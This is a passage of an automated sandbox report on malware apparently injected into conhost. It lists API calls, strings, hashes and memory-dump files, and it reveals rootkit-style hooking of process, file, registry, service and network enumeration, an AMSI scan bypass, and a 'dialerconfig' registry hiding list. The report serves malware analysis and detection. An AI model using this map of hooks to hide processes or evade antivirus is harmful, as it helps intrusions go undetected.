Part of subcall function 00000146F6B03BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03C1E
Part of subcall function 00000146F6B03BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03C39
Part of subcall function 00000146F6B03BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,00000146F6B0365F), ref: 00000146F6B03C5A

CreateThread.KERNELBASE ref: 00000146F6B0368F

Part of subcall function 00000146F6B01D40: GetCurrentThread.KERNEL32 ref: 00000146F6B01D4B

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: 51cedc3a1edaa9a1f4d882f119d1d84ac442923403cee7fb7dfbe4ae4bd87c79
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: 19114030634602A2F7649B70B62D3D92A90BB5634DF50612595CE816B5EF7CCC7F8B02

Function 00000146F6AD2AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 00000146F6AD2C32

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: b572ca268c0c6919de6356c2d1f115cc6cbd0eaecf00e1421cc4dcfe034cb51f
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: A691027270125087EB648F35E2207ADB792FB56B98F5481249F8E4779CDA38EC2BC701

Function 00000146F6B01AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000146F6B01628: GetProcessHeap.KERNEL32 ref: 00000146F6B01633
Part of subcall function 00000146F6B01628: HeapAlloc.KERNEL32 ref: 00000146F6B01642
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B016B2
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B016DF
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B016F9
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01719
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B01734
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01754
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B0176F
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B0178F
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B017AA
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B017CA

SleepEx.KERNELBASE ref: 00000146F6B01AE3

Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B017E5
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01805
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B01820
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01840
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B0185B
Part of subcall function 00000146F6B01628: RegOpenKeyExW.ADVAPI32 ref: 00000146F6B0187B
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B01896
Part of subcall function 00000146F6B01628: RegCloseKey.ADVAPI32 ref: 00000146F6B018A0

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: be59e10a0c1fcdc56d45c2691308c28a0a3cc9a52ee0e711111c1862e5128af4
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: 70312A7163160172FB58AB76F7703D91794A786BC8F4460119E8D877B5EF20CC7A8252

Non-executed Functions

Function 00000146F6B02BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000146F6B02C98
lstrlenW.KERNEL32 ref: 00000146F6B02EC2

Part of subcall function 00000146F6B01934: OpenProcess.KERNEL32 ref: 00000146F6B0195A
Part of subcall function 00000146F6B01934: K32GetModuleFileNameExW.KERNEL32 ref: 00000146F6B01978
Part of subcall function 00000146F6B01934: PathFindFileNameW.SHLWAPI ref: 00000146F6B01987
Part of subcall function 00000146F6B01934: lstrlenW.KERNEL32 ref: 00000146F6B01993
Part of subcall function 00000146F6B01934: StrCpyW.SHLWAPI ref: 00000146F6B019A6
Part of subcall function 00000146F6B01934: CloseHandle.KERNEL32 ref: 00000146F6B019B4

GetProcAddress.KERNEL32 ref: 00000146F6B02CAD

Part of subcall function 00000146F6B03C74: StrCmpNIW.SHLWAPI(?,?,?,00000146F6B0254B), ref: 00000146F6B03C8C

StrCmpNIW.SHLWAPI ref: 00000146F6B02CF0
lstrlenW.KERNEL32 ref: 00000146F6B02E18

Strings

ntdll.dll, xrefs: 00000146F6B02C91
NtQueryObject, xrefs: 00000146F6B02CA3
\Device\Nsi, xrefs: 00000146F6B02CE3

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: a8973a0723123a1e7873ada1854a2eefcb06123bcf56c086b7f37613088a03d7
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: 57B1A032230650A2EB698F35E7607D96FA4FB46B88F406116EE8D537A4DB34CC6EC341

Function 00000146F6B081C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000146F6B081DC
RtlCaptureContext.NTDLL ref: 00000146F6B08209
RtlLookupFunctionEntry.NTDLL ref: 00000146F6B08223
RtlVirtualUnwind.NTDLL ref: 00000146F6B08264
IsDebuggerPresent.KERNEL32 ref: 00000146F6B082B8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000146F6B082D9
UnhandledExceptionFilter.KERNEL32 ref: 00000146F6B082E4

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: 041698779511a647415a8b1b96deda8212bcb4ccb3cadc807996dfa00b11d972
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: B0316F72214B809AEB609F70F8603ED7764F789748F44402ADA8E47BA5EF38CA5DC711

Function 00000146F6B0D6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000146F6B0D74D
RtlLookupFunctionEntry.NTDLL ref: 00000146F6B0D765
RtlVirtualUnwind.NTDLL ref: 00000146F6B0D7A0
IsDebuggerPresent.KERNEL32 ref: 00000146F6B0D7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000146F6B0D7E3
UnhandledExceptionFilter.KERNEL32 ref: 00000146F6B0D7EE

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: 7da2fdef6d95e8e511b4c27c9a2df848831a65ade73be63cf468da36c4b58037
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 14316132224B8095DB609F35F8503DE77A4F78A758F501225EA9D43BA5EF38C56ACB01

Function 00000146F6B01628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000146F6B01633
HeapAlloc.KERNEL32 ref: 00000146F6B01642

Part of subcall function 00000146F6B01268: GetProcessHeap.KERNEL32 ref: 00000146F6B0126E
Part of subcall function 00000146F6B01268: HeapAlloc.KERNEL32 ref: 00000146F6B0127D
Part of subcall function 00000146F6B01268: GetProcessHeap.KERNEL32 ref: 00000146F6B01297
Part of subcall function 00000146F6B01268: HeapAlloc.KERNEL32 ref: 00000146F6B012A8

Part of subcall function 00000146F6B01000: GetProcessHeap.KERNEL32 ref: 00000146F6B01006
Part of subcall function 00000146F6B01000: HeapAlloc.KERNEL32 ref: 00000146F6B01015
Part of subcall function 00000146F6B01000: GetProcessHeap.KERNEL32 ref: 00000146F6B01028
Part of subcall function 00000146F6B01000: HeapAlloc.KERNEL32 ref: 00000146F6B01037

RegOpenKeyExW.ADVAPI32 ref: 00000146F6B016B2
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B016DF
RegCloseKey.ADVAPI32 ref: 00000146F6B016F9
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01719
RegCloseKey.ADVAPI32 ref: 00000146F6B01734
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01754
RegCloseKey.ADVAPI32 ref: 00000146F6B0176F
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B0178F
RegCloseKey.ADVAPI32 ref: 00000146F6B017AA
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B017CA
RegCloseKey.ADVAPI32 ref: 00000146F6B017E5
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01805
RegCloseKey.ADVAPI32 ref: 00000146F6B01820
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B01840
RegCloseKey.ADVAPI32 ref: 00000146F6B0185B
RegOpenKeyExW.ADVAPI32 ref: 00000146F6B0187B
RegCloseKey.ADVAPI32 ref: 00000146F6B01896
RegCloseKey.ADVAPI32 ref: 00000146F6B018A0

Part of subcall function 00000146F6B012BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000146F6B01319
Part of subcall function 00000146F6B012BC: GetProcessHeap.KERNEL32 ref: 00000146F6B01327
Part of subcall function 00000146F6B012BC: HeapAlloc.KERNEL32 ref: 00000146F6B01338
Part of subcall function 00000146F6B012BC: RegEnumValueW.ADVAPI32 ref: 00000146F6B01397
Part of subcall function 00000146F6B012BC: GetProcessHeap.KERNEL32 ref: 00000146F6B013DF
Part of subcall function 00000146F6B012BC: HeapAlloc.KERNEL32 ref: 00000146F6B013ED
Part of subcall function 00000146F6B012BC: GetProcessHeap.KERNEL32 ref: 00000146F6B0140A
Part of subcall function 00000146F6B012BC: HeapFree.KERNEL32 ref: 00000146F6B01418
Part of subcall function 00000146F6B012BC: lstrlenW.KERNEL32 ref: 00000146F6B01421
Part of subcall function 00000146F6B012BC: GetProcessHeap.KERNEL32 ref: 00000146F6B0142F
Part of subcall function 00000146F6B012BC: HeapAlloc.KERNEL32 ref: 00000146F6B0143D

Strings

pid, xrefs: 00000146F6B01712
tcp_local, xrefs: 00000146F6B017FE
service_names, xrefs: 00000146F6B017C3
process_names, xrefs: 00000146F6B0174D
tcp_remote, xrefs: 00000146F6B01839
udp, xrefs: 00000146F6B01874
SOFTWARE\dialerconfig, xrefs: 00000146F6B01692
startup, xrefs: 00000146F6B016D5
paths, xrefs: 00000146F6B01788

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: b39c5a254e16ff0d48ef13427563e886b9409c68beba5dd03a6ad50f611a657f
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: 25711E36720A10A6EB10DF75F8A46D92764F786B8CF002111DE8E57B79EF38C96AC741

Function 00000146F6B01D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000146F6B01D4B

Part of subcall function 00000146F6B020C4: GetModuleHandleA.KERNEL32(?,?,?,00000146F6B01D7D), ref: 00000146F6B020DC
Part of subcall function 00000146F6B020C4: GetProcAddress.KERNEL32(?,?,?,00000146F6B01D7D), ref: 00000146F6B020ED

Part of subcall function 00000146F6B05F60: GetCurrentThreadId.KERNEL32 ref: 00000146F6B05F9B

Strings

advapi32.dll, xrefs: 00000146F6B01E23, 00000146F6B01E44
NtEnumerateKey, xrefs: 00000146F6B01DE5
ntdll.dll, xrefs: 00000146F6B01D59
EnumServiceGroupW, xrefs: 00000146F6B01E1C
NtDeviceIoControlFile, xrefs: 00000146F6B01E82
PdhGetFormattedCounterArrayW, xrefs: 00000146F6B01EBD
EnumServicesStatusExW, xrefs: 00000146F6B01E3D, 00000146F6B01E5E
AmsiScanBuffer, xrefs: 00000146F6B01EDE
NtQueryDirectoryFile, xrefs: 00000146F6B01DAB
sechost.dll, xrefs: 00000146F6B01E65
NtResumeThread, xrefs: 00000146F6B01D8E
PdhGetRawCounterArrayW, xrefs: 00000146F6B01E9C
NtQueryDirectoryFileEx, xrefs: 00000146F6B01DC8
NtEnumerateValueKey, xrefs: 00000146F6B01E02
amsi.dll, xrefs: 00000146F6B01EE5
pdh.dll, xrefs: 00000146F6B01EA3, 00000146F6B01EC4
NtQuerySystemInformation, xrefs: 00000146F6B01D71

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: cce7ec61143fbbd942882ab3f135094c313388dc1512fcb324c1f9a6883e03eb
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: 684190B4134A1AB0EA09EB74FB716D42B60B70278CF902513959D432B5AE78CE6FC353

Function 00000146F6B012BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000146F6B01319
GetProcessHeap.KERNEL32 ref: 00000146F6B01327
HeapAlloc.KERNEL32 ref: 00000146F6B01338
RegEnumValueW.ADVAPI32 ref: 00000146F6B01397

Part of subcall function 00000146F6B0152C: StrCmpIW.SHLWAPI ref: 00000146F6B0155D

GetProcessHeap.KERNEL32 ref: 00000146F6B013DF
HeapAlloc.KERNEL32 ref: 00000146F6B013ED
GetProcessHeap.KERNEL32 ref: 00000146F6B0140A
HeapFree.KERNEL32 ref: 00000146F6B01418
lstrlenW.KERNEL32 ref: 00000146F6B01421
GetProcessHeap.KERNEL32 ref: 00000146F6B0142F
HeapAlloc.KERNEL32 ref: 00000146F6B0143D
StrCpyW.SHLWAPI ref: 00000146F6B0145F
GetProcessHeap.KERNEL32 ref: 00000146F6B01476
HeapFree.KERNEL32 ref: 00000146F6B01484

Strings

d, xrefs: 00000146F6B0135A

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 03ea934e9de3104860205942670df6cbdc1e68b4b794af166bdef8ffce4747f5
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: 30514E32210B8496EB54CF72F55839AB7A1F78AB9DF045124DE8907728EF3CC46ACB01

Function 00000146F6AD6D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000146F6AD6D68
__scrt_acquire_startup_lock.LIBCMT ref: 00000146F6AD6DBA
_RTC_Initialize.LIBCMT ref: 00000146F6AD6DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000146F6AD6E0E
__scrt_release_startup_lock.LIBCMT ref: 00000146F6AD6E39

Strings

destructor', xrefs: 00000146F6AD6F69, 00000146F6AD6FE2, 00000146F6AD701C
restrict(, xrefs: 00000146F6AD6E17
ned, xrefs: 00000146F6AD6E1E

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: ba710e4dbac96daf37ede1953dd8af9b54bb538ea984b992f904f05ca8003818
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: A781B131A0064186FA549B76B8713D962A2AB9B78CF146015ADCC437B6DF39CC7F9703

Function 00000146F6B0D258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D267
FlsGetValue.KERNEL32(?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D27C
FlsSetValue.KERNEL32(?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D29D
FlsSetValue.KERNEL32(?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D2CA
FlsSetValue.KERNEL32(?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D2DB
FlsSetValue.KERNEL32(?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D2EC
SetLastError.KERNEL32(?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D33D
FlsSetValue.KERNEL32(?,?,00000001,00000146F6B0F0FC,?,?,?,?,00000146F6B0C3CF,?,?,?,?,?,00000146F6B07EE0), ref: 00000146F6B0D35C

Part of subcall function 00000146F6B0DAFC: HeapAlloc.KERNEL32(?,?,00000000,00000146F6B0D432,?,?,?,00000146F6B0DAE5,?,?,?,?,00000146F6B0DBA8), ref: 00000146F6B0DB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D384

Part of subcall function 00000146F6B0DB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,00000146F6B0643A), ref: 00000146F6B0DB8A
Part of subcall function 00000146F6B0DB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000146F6B0643A), ref: 00000146F6B0DB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000146F6B10E9B,?,?,?,00000146F6B1088C,?,?,?,00000146F6B0CC7F), ref: 00000146F6B0D3A6

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 683bc0372eab17cde8d1f4e855a5ada70ecbce6b2aedc972daacec78ecfb5b25
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: A241843032528462F968A33177753E92A519B4B7BCF147724ADBE466F6DE248C3B4203

Function 00000146F6B02FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000146F6B03001
GetProcessHeap.KERNEL32 ref: 00000146F6B03016
HeapAlloc.KERNEL32 ref: 00000146F6B03024
PdhGetCounterInfoW.PDH ref: 00000146F6B0303A
StrCmpW.SHLWAPI ref: 00000146F6B0304F

Part of subcall function 00000146F6B03554: StrCmpNW.SHLWAPI ref: 00000146F6B03576
Part of subcall function 00000146F6B03554: StrStrW.SHLWAPI ref: 00000146F6B03594
Part of subcall function 00000146F6B03554: StrToIntW.SHLWAPI ref: 00000146F6B035BB

GetProcessHeap.KERNEL32 ref: 00000146F6B0308C
